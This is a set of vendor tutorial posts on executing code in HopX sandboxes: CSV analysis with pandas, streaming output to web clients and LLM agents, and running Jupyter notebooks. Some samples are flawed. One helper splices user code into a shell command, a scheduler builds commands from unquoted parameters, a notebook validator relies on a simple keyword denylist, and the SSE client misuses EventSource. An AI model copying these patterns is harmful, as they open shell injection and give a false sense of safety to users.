def analyze_user_csv(csv_content: bytes, analysis_request: str) -> dict:
"""
Safely analyze user-uploaded CSV data.
Args:
csv_content: Raw CSV file content
analysis_request: Natural language description of desired analysis
Returns:
Dictionary with analysis results and any generated charts
"""
sandbox = Sandbox.create(template="code-interpreter")
try:
# Upload the user's data
sandbox.files.write("/app/user_data.csv", csv_content)
# First, validate the CSV
validation = sandbox.commands.run("""
python -c "
import pandas as pd
import json
try:
df = pd.read_csv('/app/user_data.csv')
info = {
'valid': True,
'rows': len(df),
'columns': list(df.columns),
'dtypes': {col: str(dtype) for col, dtype in df.dtypes.items()}
}
except Exception as e:
info = {'valid': False, 'error': str(e)}
print(json.dumps(info))
"
""")
data_info = json.loads(validation.stdout)
if not data_info['valid']:
return {'error': data_info['error']}
# Perform the requested analysis
analysis_code = generate_analysis_code(analysis_request, data_info)
sandbox.files.write("/app/analyze.py", analysis_code)
result = sandbox.commands.run("cd /app && python analyze.py")
# Collect results
output = {'data_info': data_info}
if result.exit_code == 0:
output['analysis'] = result.stdout
else:
output['error'] = result.stderr
# Check for generated charts
chart_check = sandbox.commands.run("ls /app/*.png 2>/dev/null || true")
if chart_check.stdout.strip():
charts = []
for chart_path in chart_check.stdout.strip().split('\n'):
chart_data = sandbox.files.read(chart_path)
charts.append({
'name': chart_path.split('/')[-1],
'data': chart_data
})
output['charts'] = charts
return output
finally:
sandbox.kill()
def generate_analysis_code(request: str, data_info: dict) -> str:
"""Generate pandas analysis code based on user request"""
# This would typically use an LLM to generate code
# For this example, we'll use a template
return f'''
import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
import json
df = pd.read_csv('/app/user_data.csv')
# Basic analysis
print("=== Data Overview ===")
print(f"Rows: {{len(df)}}")
print(f"Columns: {{len(df.columns)}}")
print()
print("=== Summary Statistics ===")
print(df.describe())
print()
print("=== Missing Values ===")
print(df.isnull().sum())
print()
# Generate a basic chart for numeric columns
numeric_cols = df.select_dtypes(include=[np.number]).columns[:4] # Limit to 4
if len(numeric_cols) > 0:
fig, axes = plt.subplots(1, len(numeric_cols), figsize=(4*len(numeric_cols), 4))
if len(numeric_cols) == 1:
axes = [axes]
for ax, col in zip(axes, numeric_cols):
df[col].hist(ax=ax, bins=20)
ax.set_title(col)
plt.tight_layout()
plt.savefig('/app/histograms.png', dpi=100)
print("\\nHistograms saved to /app/histograms.png")
'''
# Usage example
with open("user_upload.csv", "rb") as f:
csv_content = f.read()
results = analyze_user_csv(csv_content, "Show me basic statistics and trends")
print(results['analysis'])
```
## Performance Tips
### 1. Use Appropriate Data Types
```python
# Convert types to reduce memory
sandbox.commands.run("""
python -c "
import pandas as pd
df = pd.read_csv('/app/large_data.csv')
# Before
print('Memory before:', df.memory_usage(deep=True).sum() / 1e6, 'MB')
# Optimize types
df['category'] = df['category'].astype('category')
df['small_int'] = df['small_int'].astype('int16')
df['boolean'] = df['boolean'].astype('bool')
# After
print('Memory after:', df.memory_usage(deep=True).sum() / 1e6, 'MB')
"
""")
```
### 2. Process Large Files in Chunks
```python
sandbox.commands.run("""
python -c "
import pandas as pd
# Process large CSV in chunks
chunk_size = 10000
results = []
for chunk in pd.read_csv('/app/huge_file.csv', chunksize=chunk_size):
# Process each chunk
chunk_result = chunk.groupby('category')['value'].sum()
results.append(chunk_result)
# Combine results
final = pd.concat(results).groupby(level=0).sum()
print(final)
"
""")
```
### 3. Use Efficient File Formats
```python
sandbox.commands.run("""
python -c "
import pandas as pd
df = pd.read_csv('/app/data.csv')
# Save as Parquet (much faster to read)
df.to_parquet('/app/data.parquet')
# Read parquet (faster than CSV)
df2 = pd.read_parquet('/app/data.parquet')
"
""")
```
## Conclusion
Running Pandas in HopX sandboxes gives you:
- **Security** - User data is isolated
- **Reliability** - Consistent environment every time
- **Scalability** - Process many datasets in parallel
- **Safety** - Malicious data can't escape
Whether you're building a data analysis API, processing user uploads, or running automated reports, sandboxed Pandas provides the foundation for secure data science.
## Resources
- [Pandas Documentation](https://pandas.pydata.org/docs/)
- [Matplotlib Gallery](https://matplotlib.org/stable/gallery/)
- [HopX Documentation](https://hopx.ai/docs)
- [Seaborn Tutorial](https://seaborn.pydata.org/tutorial.html)
---
## Streaming Code Execution: Real-time Output for AI Agents
URL: https://hopx.ai/blog/tutorials/streaming-code-execution-for-agents/
Category: Tutorials
Published: 2025-11-17
# Streaming Code Execution: Real-time Output for AI Agents
When code runs for more than a second, users start wondering: "Is it working?" Streaming output solves this by showing results as they happen, not just when execution completes.
This guide shows you how to stream code execution from HopX sandboxes, enabling AI agents that feel responsive and keep users engaged.
## Why Streaming Matters
**Without streaming:**
```
User: "Analyze this 100MB dataset"
[Spinner for 30 seconds]
[All output appears at once]
```
**With streaming:**
```
User: "Analyze this 100MB dataset"
→ Loading dataset...
→ Processing 1,000,000 rows...
→ Calculating statistics...
→ Generating visualizations...
→ Analysis complete!
```
Streaming provides:
- **Feedback** - Users know the system is working
- **Progress** - Long tasks feel faster
- **Debugging** - See issues as they occur
- **Cancellation** - Stop early if output looks wrong
## Basic Streaming
### Synchronous Streaming
The simplest form of streaming reads output as it's produced:
```python
from hopx import Sandbox
sandbox = Sandbox.create(template="code-interpreter")
# Long-running script with progress output
code = '''
import time
for i in range(10):
print(f"Processing step {i+1}/10...")
time.sleep(1)
print("Complete!")
'''
sandbox.files.write("/app/process.py", code)
# Stream output line by line
for line in sandbox.commands.stream("cd /app && python -u process.py"):
print(f"[OUTPUT] {line}")
```
Note the `-u` flag for unbuffered Python output—essential for real-time streaming.
### Async Streaming
For web applications and async frameworks:
```python
import asyncio
from hopx import Sandbox
async def stream_execution():
sandbox = await Sandbox.create_async(template="code-interpreter")
code = '''
import time
import sys
for i in range(5):
print(f"Step {i+1}", flush=True)
time.sleep(0.5)
'''
await sandbox.files.write_async("/app/task.py", code)
async for line in sandbox.commands.stream_async("python -u /app/task.py"):
print(f"Received: {line}")
await sandbox.kill_async()
asyncio.run(stream_execution())
```
## Streaming to Web Clients
### Server-Sent Events (SSE)
SSE is perfect for streaming to browsers:
```python
from fastapi import FastAPI, Response
from fastapi.responses import StreamingResponse
from hopx import Sandbox
import asyncio
app = FastAPI()
@app.post("/execute")
async def execute_code(code: str):
async def generate():
sandbox = await Sandbox.create_async(template="code-interpreter")
try:
await sandbox.files.write_async("/app/code.py", code)
async for line in sandbox.commands.stream_async("python -u /app/code.py"):
# Format as SSE
yield f"data: {line}\n\n"
yield "data: [DONE]\n\n"
finally:
await sandbox.kill_async()
return StreamingResponse(
generate(),
media_type="text/event-stream",
headers={
"Cache-Control": "no-cache",
"Connection": "keep-alive"
}
)
```
Frontend consumption:
```javascript
const eventSource = new EventSource('/execute', {
method: 'POST',
body: JSON.stringify({ code: 'print("Hello")' })
});
eventSource.onmessage = (event) => {
if (event.data === '[DONE]') {
eventSource.close();
return;
}
// Append to output
document.getElementById('output').textContent += event.data + '\n';
};
eventSource.onerror = () => {
console.error('Stream error');
eventSource.close();
};
```
### WebSocket Streaming
For bidirectional communication:
```python
from fastapi import FastAPI, WebSocket
from hopx import Sandbox
import asyncio
import json
app = FastAPI()
@app.websocket("/ws/execute")
async def websocket_execute(websocket: WebSocket):
await websocket.accept()
sandbox = None
try:
while True:
# Receive code from client
data = await websocket.receive_json()
if data["type"] == "execute":
sandbox = await Sandbox.create_async(template="code-interpreter")
await sandbox.files.write_async("/app/code.py", data["code"])
# Stream output back
async for line in sandbox.commands.stream_async("python -u /app/code.py"):
await websocket.send_json({
"type": "output",
"content": line
})
await websocket.send_json({"type": "complete"})
await sandbox.kill_async()
sandbox = None
elif data["type"] == "cancel":
if sandbox:
await sandbox.kill_async()
sandbox = None
await websocket.send_json({"type": "cancelled"})
except Exception as e:
await websocket.send_json({"type": "error", "message": str(e)})
finally:
if sandbox:
await sandbox.kill_async()
```
Frontend WebSocket client:
```javascript
const ws = new WebSocket('ws://localhost:8000/ws/execute');
let outputDiv = document.getElementById('output');
ws.onopen = () => {
// Send code to execute
ws.send(JSON.stringify({
type: 'execute',
code: `
import time
for i in range(10):
print(f'Processing {i}...')
time.sleep(0.5)
`
}));
};
ws.onmessage = (event) => {
const data = JSON.parse(event.data);
switch (data.type) {
case 'output':
outputDiv.textContent += data.content + '\n';
break;
case 'complete':
outputDiv.textContent += '\n[Execution complete]';
break;
case 'error':
outputDiv.textContent += `\nError: ${data.message}`;
break;
}
};
// Cancel button
document.getElementById('cancel').onclick = () => {
ws.send(JSON.stringify({ type: 'cancel' }));
};
```
## Progress Reporting
### Structured Progress Updates
Instead of raw output, send structured progress:
```python
from hopx import Sandbox
import json
def execute_with_progress(code: str, on_progress):
"""Execute code and report structured progress"""
sandbox = Sandbox.create(template="code-interpreter")
# Wrapper that outputs JSON progress
wrapper = '''
import sys
import json
def progress(message, percent=None, data=None):
"""Report progress in structured format"""
update = {"type": "progress", "message": message}
if percent is not None:
update["percent"] = percent
if data is not None:
update["data"] = data
print("__PROGRESS__" + json.dumps(update), flush=True)
def result(data):
"""Report final result"""
print("__RESULT__" + json.dumps({"type": "result", "data": data}), flush=True)
def error(message):
"""Report error"""
print("__ERROR__" + json.dumps({"type": "error", "message": message}), flush=True)
# User code can now use progress(), result(), error()
'''
full_code = wrapper + "\n" + code
sandbox.files.write("/app/task.py", full_code)
for line in sandbox.commands.stream("python -u /app/task.py"):
if line.startswith("__PROGRESS__"):
data = json.loads(line[12:])
on_progress(data)
elif line.startswith("__RESULT__"):
data = json.loads(line[10:])
on_progress(data)
elif line.startswith("__ERROR__"):
data = json.loads(line[9:])
on_progress(data)
else:
# Regular output
on_progress({"type": "output", "content": line})
sandbox.kill()
# Usage
def handle_progress(update):
if update["type"] == "progress":
print(f"[{update.get('percent', '?')}%] {update['message']}")
elif update["type"] == "result":
print(f"Result: {update['data']}")
code = '''
import time
progress("Starting analysis", 0)
for i in range(5):
progress(f"Processing batch {i+1}", (i+1) * 20)
time.sleep(0.5)
result({"processed": 5, "status": "success"})
'''
execute_with_progress(code, handle_progress)
```
### Progress Bar Integration
Send progress suitable for UI progress bars:
```python
analysis_code = '''
import pandas as pd
import time
# Load data
progress("Loading dataset...", 0)
df = pd.read_csv('/app/data.csv')
progress(f"Loaded {len(df)} rows", 20)
# Clean data
progress("Cleaning data...", 20)
df = df.dropna()
progress(f"Cleaned, {len(df)} rows remaining", 40)
# Process
total = len(df)
for i, chunk in enumerate(range(0, total, 1000)):
percent = 40 + (i / (total // 1000)) * 40
progress(f"Processing rows {chunk}-{chunk+1000}", percent)
time.sleep(0.1) # Simulate work
# Generate report
progress("Generating report...", 80)
summary = df.describe()
progress("Report ready", 100)
result(summary.to_dict())
'''
```
## Handling Long-Running Tasks
### Heartbeat Pattern
Keep connections alive during long operations:
```python
import asyncio
from hopx import Sandbox
async def execute_with_heartbeat(code: str):
sandbox = await Sandbox.create_async(template="code-interpreter")
await sandbox.files.write_async("/app/task.py", code)
# Start execution
execution = asyncio.create_task(
collect_output(sandbox.commands.stream_async("python -u /app/task.py"))
)
# Send heartbeats while executing
while not execution.done():
yield {"type": "heartbeat", "timestamp": time.time()}
await asyncio.sleep(5)
# Get final result
output = await execution
yield {"type": "complete", "output": output}
await sandbox.kill_async()
async def collect_output(stream):
output = []
async for line in stream:
output.append(line)
return output
```
### Timeout with Partial Results
Return what you have if execution takes too long:
```python
import asyncio
from hopx import Sandbox
async def execute_with_timeout(code: str, timeout: int = 60):
sandbox = await Sandbox.create_async(template="code-interpreter")
await sandbox.files.write_async("/app/task.py", code)
output = []
try:
async with asyncio.timeout(timeout):
async for line in sandbox.commands.stream_async("python -u /app/task.py"):
output.append(line)
yield {"type": "output", "line": line}
yield {"type": "complete", "output": output}
except asyncio.TimeoutError:
yield {
"type": "timeout",
"partial_output": output,
"message": f"Execution exceeded {timeout}s limit"
}
finally:
await sandbox.kill_async()
```
## Streaming for AI Agents
### Integration with LLM Streaming
Combine code streaming with LLM response streaming:
```python
import openai
from hopx import Sandbox
async def agent_stream(user_message: str):
client = openai.AsyncOpenAI()
# Stream LLM response
response = await client.chat.completions.create(
model="gpt-4o",
messages=[
{"role": "system", "content": "You are a helpful coding assistant."},
{"role": "user", "content": user_message}
],
stream=True
)
code_block = ""
in_code_block = False
async for chunk in response:
content = chunk.choices[0].delta.content or ""
# Detect code blocks
if "```python" in content:
in_code_block = True
yield {"type": "text", "content": content}
continue
if "```" in content and in_code_block:
in_code_block = False
# Execute the collected code
yield {"type": "text", "content": content}
yield {"type": "executing", "code": code_block}
async for output in execute_code_stream(code_block):
yield {"type": "execution", "output": output}
code_block = ""
continue
if in_code_block:
code_block += content
yield {"type": "text", "content": content}
async def execute_code_stream(code: str):
sandbox = await Sandbox.create_async(template="code-interpreter")
try:
await sandbox.files.write_async("/app/code.py", code)
async for line in sandbox.commands.stream_async("python -u /app/code.py"):
yield line
finally:
await sandbox.kill_async()
```
### Multi-Step Agent with Streaming
```python
class StreamingAgent:
def __init__(self):
self.client = openai.AsyncOpenAI()
async def run(self, task: str):
"""Run agent with streaming at every step"""
yield {"type": "thinking", "message": "Analyzing task..."}
# Plan steps
plan = await self._create_plan(task)
yield {"type": "plan", "steps": plan}
results = {}
for i, step in enumerate(plan):
yield {"type": "step_start", "step": i, "description": step["description"]}
# Generate code for step
async for chunk in self._generate_code_stream(step):
yield {"type": "code_chunk", "content": chunk}
# Execute with streaming
sandbox = await Sandbox.create_async(template="code-interpreter")
try:
await sandbox.files.write_async("/app/step.py", step["code"])
async for line in sandbox.commands.stream_async("python -u /app/step.py"):
yield {"type": "output", "step": i, "line": line}
# Capture result
result = await sandbox.files.read_async("/app/result.json")
results[step["id"]] = json.loads(result)
yield {"type": "step_complete", "step": i}
finally:
await sandbox.kill_async()
yield {"type": "complete", "results": results}
async def _generate_code_stream(self, step):
"""Stream code generation from LLM"""
response = await self.client.chat.completions.create(
model="gpt-4o",
messages=[{
"role": "user",
"content": f"Write Python code for: {step['description']}"
}],
stream=True
)
async for chunk in response:
content = chunk.choices[0].delta.content or ""
yield content
```
## Performance Considerations
### Buffer Size
Control output buffer for optimal streaming:
```python
# Smaller buffer = more responsive, more overhead
# Larger buffer = less responsive, more efficient
sandbox.commands.stream("python script.py", buffer_size=64) # Very responsive
sandbox.commands.stream("python script.py", buffer_size=4096) # More efficient
```
### Backpressure Handling
Handle slow consumers:
```python
import asyncio
from collections import deque
class BufferedStream:
def __init__(self, max_buffer=100):
self.buffer = deque(maxlen=max_buffer)
self.overflow_count = 0
async def produce(self, sandbox):
"""Produce output from sandbox"""
async for line in sandbox.commands.stream_async("python script.py"):
if len(self.buffer) >= self.buffer.maxlen:
self.overflow_count += 1
self.buffer.append(line)
async def consume(self):
"""Consume buffered output"""
while True:
if self.buffer:
yield self.buffer.popleft()
else:
await asyncio.sleep(0.01)
```
### Connection Resilience
Handle disconnections gracefully:
```python
async def resilient_stream(websocket, sandbox):
"""Stream with reconnection support"""
last_position = 0
output_log = []
async for line in sandbox.commands.stream_async("python script.py"):
output_log.append(line)
try:
await websocket.send_json({
"position": len(output_log),
"content": line
})
except ConnectionClosed:
# Client disconnected, keep running
pass
return output_log
async def handle_reconnect(websocket, output_log, from_position):
"""Send missed output on reconnection"""
for i, line in enumerate(output_log[from_position:], from_position):
await websocket.send_json({
"position": i,
"content": line,
"catchup": True
})
```
## Best Practices
### 1. Always Use Unbuffered Output
```python
# Python
sandbox.commands.run("python -u script.py")
# Node.js
sandbox.commands.run("node --no-warnings script.js")
# Within Python code
print("message", flush=True)
```
### 2. Structure Your Output
```python
# Don't stream raw debugging
print("x = 5") # Not useful
# Stream meaningful progress
print(f"[STEP 1/3] Loading data ({len(df)} rows)")
```
### 3. Handle Errors in Stream
```python
async for line in sandbox.commands.stream_async("python script.py"):
if line.startswith("ERROR:"):
yield {"type": "error", "message": line}
break
yield {"type": "output", "content": line}
```
### 4. Clean Up Resources
```python
async def stream_with_cleanup(code):
sandbox = await Sandbox.create_async(template="code-interpreter")
try:
async for line in sandbox.commands.stream_async(f"python -u -c '{code}'"):
yield line
finally:
await sandbox.kill_async() # Always cleanup
```
## Conclusion
Streaming transforms the user experience of AI code execution:
- **Immediate feedback** instead of waiting
- **Progress visibility** for long tasks
- **Cancellation capability** when needed
- **Debugging insight** in real-time
Implement streaming from day one—your users will thank you.
## Resources
- [Server-Sent Events Specification](https://html.spec.whatwg.org/multipage/server-sent-events.html)
- [WebSocket API](https://developer.mozilla.org/en-US/docs/Web/API/WebSockets_API)
- [FastAPI Streaming](https://fastapi.tiangolo.com/advanced/custom-response/#streamingresponse)
- [HopX Streaming Documentation](https://hopx.ai/docs/streaming)
---
## Running Jupyter Notebooks in the Cloud
URL: https://hopx.ai/blog/tutorials/running-jupyter-notebooks-in-the-cloud/
Category: Tutorials
Published: 2025-11-16
# Running Jupyter Notebooks in the Cloud
Jupyter notebooks are the standard for data science workflows. But running them in production—scheduled jobs, API endpoints, automated pipelines—requires executing them without the interactive interface.
HopX sandboxes let you run notebooks programmatically, in isolated environments, with full access to results.
## Why Run Notebooks in Sandboxes?
**Local notebook execution problems:**
- Notebooks can execute arbitrary code
- User notebooks might contain malicious code
- Resource consumption is unpredictable
- Environment conflicts between notebooks
**Sandbox advantages:**
- Complete isolation from your infrastructure
- Consistent, reproducible environments
- Resource limits prevent abuse
- Parallel execution at scale
## Basic Notebook Execution
### Using nbconvert
The simplest way to execute a notebook:
```python
from hopx import Sandbox
import json
sandbox = Sandbox.create(template="code-interpreter")
# Create a sample notebook
notebook = {
"cells": [
{
"cell_type": "code",
"execution_count": None,
"metadata": {},
"outputs": [],
"source": ["import pandas as pd\n", "import numpy as np\n", "print('Libraries loaded')"]
},
{
"cell_type": "code",
"execution_count": None,
"metadata": {},
"outputs": [],
"source": ["df = pd.DataFrame({'a': [1,2,3], 'b': [4,5,6]})\n", "print(df)"]
},
{
"cell_type": "code",
"execution_count": None,
"metadata": {},
"outputs": [],
"source": ["result = df['a'].sum()\n", "print(f'Sum: {result}')"]
}
],
"metadata": {
"kernelspec": {
"display_name": "Python 3",
"language": "python",
"name": "python3"
}
},
"nbformat": 4,
"nbformat_minor": 4
}
# Upload notebook
sandbox.files.write("/app/analysis.ipynb", json.dumps(notebook))
# Execute with nbconvert
result = sandbox.commands.run("""
cd /app && jupyter nbconvert --to notebook --execute analysis.ipynb --output executed.ipynb
""")
print("Execution status:", "Success" if result.exit_code == 0 else "Failed")
print(result.stdout)
```
### Extracting Results
After execution, read the output notebook:
```python
# Download executed notebook
executed = sandbox.files.read("/app/executed.ipynb")
executed_nb = json.loads(executed)
# Extract outputs from each cell
for i, cell in enumerate(executed_nb["cells"]):
if cell["cell_type"] == "code":
print(f"\n--- Cell {i} ---")
print("Source:", "".join(cell["source"][:50]))
for output in cell.get("outputs", []):
if output["output_type"] == "stream":
print("Output:", "".join(output["text"]))
elif output["output_type"] == "execute_result":
print("Result:", output["data"].get("text/plain", ""))
```
## Papermill for Parameterized Notebooks
[Papermill](https://papermill.readthedocs.io/) is the industry standard for parameterized notebook execution.
### Basic Papermill Usage
```python
from hopx import Sandbox
import json
sandbox = Sandbox.create(template="code-interpreter")
# Install papermill
sandbox.commands.run("pip install papermill -q")
# Create parameterized notebook
notebook = {
"cells": [
{
"cell_type": "code",
"metadata": {"tags": ["parameters"]}, # Parameters cell
"source": ["# Parameters\n", "dataset_path = '/data/default.csv'\n", "threshold = 0.5"]
},
{
"cell_type": "code",
"metadata": {},
"source": [
"import pandas as pd\n",
"print(f'Loading: {dataset_path}')\n",
"print(f'Threshold: {threshold}')"
]
}
],
"metadata": {"kernelspec": {"name": "python3"}},
"nbformat": 4,
"nbformat_minor": 4
}
sandbox.files.write("/app/template.ipynb", json.dumps(notebook))
# Execute with parameters
result = sandbox.commands.run("""
papermill /app/template.ipynb /app/output.ipynb \
-p dataset_path "/data/sales_2024.csv" \
-p threshold 0.75
""")
print(result.stdout)
```
### Injecting Complex Parameters
```python
# Parameters can be Python objects
params = {
"config": {
"model": "random_forest",
"features": ["age", "income", "score"],
"hyperparams": {"n_estimators": 100, "max_depth": 10}
},
"date_range": ["2024-01-01", "2024-12-31"]
}
# Write params as JSON
sandbox.files.write("/app/params.json", json.dumps(params))
# Notebook loads params from file
notebook_code = '''
import json
with open('/app/params.json') as f:
params = json.load(f)
config = params['config']
date_range = params['date_range']
print(f"Model: {config['model']}")
print(f"Features: {config['features']}")
'''
```
## Building a Notebook Execution API
### FastAPI Notebook Runner
```python
from fastapi import FastAPI, UploadFile, HTTPException
from pydantic import BaseModel
from hopx import Sandbox
import json
import base64
app = FastAPI()
class NotebookRequest(BaseModel):
notebook: str # Base64 encoded notebook
parameters: dict = {}
timeout: int = 300
class NotebookResponse(BaseModel):
success: bool
executed_notebook: str # Base64 encoded
outputs: list
error: str = None
@app.post("/execute", response_model=NotebookResponse)
async def execute_notebook(request: NotebookRequest):
sandbox = None
try:
sandbox = Sandbox.create(template="code-interpreter")
# Decode and upload notebook
notebook_content = base64.b64decode(request.notebook)
sandbox.files.write("/app/input.ipynb", notebook_content)
# Write parameters
sandbox.files.write("/app/params.json", json.dumps(request.parameters))
# Execute
result = sandbox.commands.run(
"papermill /app/input.ipynb /app/output.ipynb -f /app/params.json",
timeout=request.timeout
)
if result.exit_code != 0:
return NotebookResponse(
success=False,
executed_notebook="",
outputs=[],
error=result.stderr
)
# Read executed notebook
executed = sandbox.files.read("/app/output.ipynb")
executed_nb = json.loads(executed)
# Extract outputs
outputs = []
for cell in executed_nb["cells"]:
if cell["cell_type"] == "code":
cell_outputs = []
for output in cell.get("outputs", []):
cell_outputs.append({
"type": output["output_type"],
"content": extract_output_content(output)
})
outputs.append(cell_outputs)
return NotebookResponse(
success=True,
executed_notebook=base64.b64encode(executed).decode(),
outputs=outputs
)
except Exception as e:
raise HTTPException(status_code=500, detail=str(e))
finally:
if sandbox:
sandbox.kill()
def extract_output_content(output):
"""Extract readable content from notebook output"""
if output["output_type"] == "stream":
return "".join(output.get("text", []))
elif output["output_type"] == "execute_result":
data = output.get("data", {})
return data.get("text/plain", data.get("text/html", ""))
elif output["output_type"] == "display_data":
data = output.get("data", {})
if "image/png" in data:
return {"type": "image", "data": data["image/png"]}
return data.get("text/plain", "")
elif output["output_type"] == "error":
return {
"ename": output.get("ename"),
"evalue": output.get("evalue"),
"traceback": output.get("traceback", [])
}
return str(output)
```
### Scheduled Notebook Execution
```python
import schedule
import time
from hopx import Sandbox
import json
from datetime import datetime
class NotebookScheduler:
def __init__(self):
self.results = []
def run_notebook(self, notebook_path: str, params: dict):
"""Execute a notebook and store results"""
sandbox = Sandbox.create(template="code-interpreter")
try:
# Upload notebook
with open(notebook_path, "rb") as f:
sandbox.files.write("/app/notebook.ipynb", f.read())
# Execute
result = sandbox.commands.run(
"papermill /app/notebook.ipynb /app/output.ipynb " +
" ".join([f'-p {k} "{v}"' for k, v in params.items()])
)
# Store result
self.results.append({
"timestamp": datetime.now().isoformat(),
"notebook": notebook_path,
"success": result.exit_code == 0,
"output": result.stdout
})
# Download output notebook
output_name = f"output_{datetime.now().strftime('%Y%m%d_%H%M%S')}.ipynb"
output_data = sandbox.files.read("/app/output.ipynb")
with open(f"outputs/{output_name}", "wb") as f:
f.write(output_data)
return result.exit_code == 0
finally:
sandbox.kill()
def schedule_daily(self, notebook_path: str, params: dict, time_str: str):
"""Schedule notebook to run daily"""
schedule.every().day.at(time_str).do(
self.run_notebook, notebook_path, params
)
def run(self):
"""Start the scheduler"""
while True:
schedule.run_pending()
time.sleep(60)
# Usage
scheduler = NotebookScheduler()
scheduler.schedule_daily(
"reports/daily_metrics.ipynb",
{"date": "today"},
"06:00"
)
scheduler.run()
```
## Handling Notebook Outputs
### Extracting Visualizations
```python
from hopx import Sandbox
import json
import base64
sandbox = Sandbox.create(template="code-interpreter")
# Notebook with matplotlib output
notebook = {
"cells": [
{
"cell_type": "code",
"metadata": {},
"source": [
"import matplotlib.pyplot as plt\n",
"import numpy as np\n",
"\n",
"x = np.linspace(0, 10, 100)\n",
"plt.figure(figsize=(10, 6))\n",
"plt.plot(x, np.sin(x))\n",
"plt.title('Sine Wave')\n",
"plt.show()"
]
}
],
"metadata": {"kernelspec": {"name": "python3"}},
"nbformat": 4,
"nbformat_minor": 4
}
sandbox.files.write("/app/viz.ipynb", json.dumps(notebook))
# Execute
sandbox.commands.run(
"jupyter nbconvert --to notebook --execute viz.ipynb --output executed.ipynb",
cwd="/app"
)
# Extract images from output
executed = json.loads(sandbox.files.read("/app/executed.ipynb"))
images = []
for cell in executed["cells"]:
for output in cell.get("outputs", []):
if "image/png" in output.get("data", {}):
img_data = output["data"]["image/png"]
images.append(base64.b64decode(img_data))
# Save extracted images
for i, img in enumerate(images):
with open(f"figure_{i}.png", "wb") as f:
f.write(img)
print(f"Extracted {len(images)} images")
```
### Capturing DataFrames
```python
# Notebook cell that outputs a DataFrame
notebook_code = '''
import pandas as pd
import json
df = pd.DataFrame({
'product': ['A', 'B', 'C'],
'sales': [100, 150, 80],
'profit': [20, 45, 15]
})
# Output as JSON for programmatic access
print("__DATA_START__")
print(df.to_json(orient='records'))
print("__DATA_END__")
# Also display nicely
display(df)
'''
# After execution, parse the output
for cell in executed_nb["cells"]:
for output in cell.get("outputs", []):
if output["output_type"] == "stream":
text = "".join(output["text"])
if "__DATA_START__" in text:
start = text.index("__DATA_START__") + len("__DATA_START__")
end = text.index("__DATA_END__")
json_data = text[start:end].strip()
data = json.loads(json_data)
print("Extracted DataFrame:", data)
```
## Error Handling
### Graceful Notebook Failures
```python
from hopx import Sandbox
import json
def execute_notebook_safely(notebook_content: bytes, params: dict = None):
"""Execute notebook with comprehensive error handling"""
sandbox = Sandbox.create(template="code-interpreter")
try:
sandbox.files.write("/app/notebook.ipynb", notebook_content)
if params:
sandbox.files.write("/app/params.json", json.dumps(params))
cmd = "papermill /app/notebook.ipynb /app/output.ipynb -f /app/params.json"
else:
cmd = "jupyter nbconvert --execute --to notebook /app/notebook.ipynb --output output.ipynb"
result = sandbox.commands.run(cmd, timeout=300)
# Read output notebook even if execution failed
try:
output_nb = json.loads(sandbox.files.read("/app/output.ipynb"))
except:
output_nb = None
# Check for cell errors
errors = []
if output_nb:
for i, cell in enumerate(output_nb.get("cells", [])):
for output in cell.get("outputs", []):
if output.get("output_type") == "error":
errors.append({
"cell": i,
"ename": output.get("ename"),
"evalue": output.get("evalue"),
"traceback": output.get("traceback", [])
})
return {
"success": result.exit_code == 0 and len(errors) == 0,
"exit_code": result.exit_code,
"stdout": result.stdout,
"stderr": result.stderr,
"notebook": output_nb,
"errors": errors
}
except TimeoutError:
return {
"success": False,
"error": "Notebook execution timed out",
"errors": [{"type": "timeout"}]
}
except Exception as e:
return {
"success": False,
"error": str(e),
"errors": [{"type": "exception", "message": str(e)}]
}
finally:
sandbox.kill()
# Usage
with open("analysis.ipynb", "rb") as f:
result = execute_notebook_safely(f.read(), {"threshold": 0.5})
if not result["success"]:
print("Execution failed!")
for error in result["errors"]:
print(f" Cell {error.get('cell', '?')}: {error.get('evalue', error)}")
```
## Parallel Notebook Execution
Run multiple notebooks simultaneously:
```python
from hopx import Sandbox
import concurrent.futures
import json
def run_single_notebook(notebook_path: str, params: dict):
"""Run one notebook in its own sandbox"""
sandbox = Sandbox.create(template="code-interpreter")
try:
with open(notebook_path, "rb") as f:
sandbox.files.write("/app/notebook.ipynb", f.read())
sandbox.files.write("/app/params.json", json.dumps(params))
result = sandbox.commands.run(
"papermill /app/notebook.ipynb /app/output.ipynb -f /app/params.json",
timeout=300
)
output = sandbox.files.read("/app/output.ipynb")
return {
"notebook": notebook_path,
"params": params,
"success": result.exit_code == 0,
"output": output
}
finally:
sandbox.kill()
def run_notebooks_parallel(jobs: list[tuple[str, dict]], max_workers: int = 5):
"""Run multiple notebooks in parallel"""
results = []
with concurrent.futures.ThreadPoolExecutor(max_workers=max_workers) as executor:
futures = {
executor.submit(run_single_notebook, path, params): (path, params)
for path, params in jobs
}
for future in concurrent.futures.as_completed(futures):
path, params = futures[future]
try:
result = future.result()
results.append(result)
print(f"✓ Completed: {path}")
except Exception as e:
results.append({
"notebook": path,
"params": params,
"success": False,
"error": str(e)
})
print(f"✗ Failed: {path} - {e}")
return results
# Run 10 notebooks with different parameters
jobs = [
("analysis.ipynb", {"region": region})
for region in ["US", "EU", "APAC", "LATAM", "MEA"]
]
results = run_notebooks_parallel(jobs, max_workers=5)
print(f"Completed: {sum(1 for r in results if r['success'])}/{len(results)}")
```
## Best Practices
### 1. Version Your Notebooks
```python
# Add version metadata
notebook["metadata"]["version"] = "1.2.0"
notebook["metadata"]["last_modified"] = "2024-11-15"
# Check version before execution
if notebook["metadata"].get("version", "0.0.0") < "1.0.0":
raise ValueError("Notebook version too old")
```
### 2. Validate Inputs
```python
def validate_notebook(content: bytes) -> bool:
"""Validate notebook before execution"""
try:
nb = json.loads(content)
# Check format
if nb.get("nbformat", 0) < 4:
raise ValueError("Notebook format too old")
# Check for required cells
has_code = any(c["cell_type"] == "code" for c in nb["cells"])
if not has_code:
raise ValueError("Notebook has no code cells")
# Check for dangerous imports
dangerous = ["os.system", "subprocess", "eval(", "exec("]
for cell in nb["cells"]:
source = "".join(cell.get("source", []))
for d in dangerous:
if d in source:
raise ValueError(f"Potentially dangerous code: {d}")
return True
except json.JSONDecodeError:
raise ValueError("Invalid JSON")
```
### 3. Resource Limits
```python
# Set memory and time limits
sandbox.commands.run(
"timeout 300 jupyter nbconvert --execute notebook.ipynb",
memory_limit="4G"
)
```
### 4. Clean Output Notebooks
```python
def clean_notebook_output(notebook: dict) -> dict:
"""Remove outputs for storage/version control"""
cleaned = notebook.copy()
for cell in cleaned["cells"]:
if cell["cell_type"] == "code":
cell["outputs"] = []
cell["execution_count"] = None
return cleaned
```
